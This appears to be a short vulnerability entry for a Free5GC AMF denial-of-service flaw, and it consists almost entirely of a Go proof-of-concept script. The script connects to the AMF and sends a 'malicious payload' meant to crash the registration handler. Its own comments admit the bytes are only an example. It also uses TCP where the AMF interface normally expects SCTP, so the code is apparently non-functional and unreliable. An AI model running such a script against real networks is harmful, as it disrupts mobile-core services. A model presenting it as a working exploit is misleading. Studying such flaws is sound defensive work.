CVE-2026-4531 Free5GC拒绝服务漏洞

/* * PoC Concept for CVE-2026-4531 * This script demonstrates a conceptual DoS attack against Free5GC AMF. * It sends a crafted malformed Registration Complete message. */ package main import ( "fmt" "net" ) func main() { // Target AMF interface (Example IP and Port) target := "127.0.0.1:38412" // Establish a connection to the AMF conn, err := net.Dial("tcp", target) if err != nil { fmt.Printf("[-] Failed to connect to target: %v\n", err) return } defer conn.Close() fmt.Println("[+] Connected to AMF") // Crafted malicious payload triggering the weakness in HandleRegistrationComplete // Note: The actual byte sequence requires reversing the specific patch or binary analysis. // This represents the trigger mechanism. maliciousPayload := []byte{ 0x1e, 0x00, 0x20, 0x00, // NAS Message Header Example 0x05, 0x01, // Malformed Security Header type 0xFF, 0xFF, 0xFF, 0xFF, // Trigger data causing panic in handler.go } // Send payload _, err = conn.Write(maliciousPayload) if err != nil { fmt.Printf("[-] Failed to send payload: %v\n", err) return } fmt.Println("[!] Malicious payload sent. Check AMF status for DoS condition.") }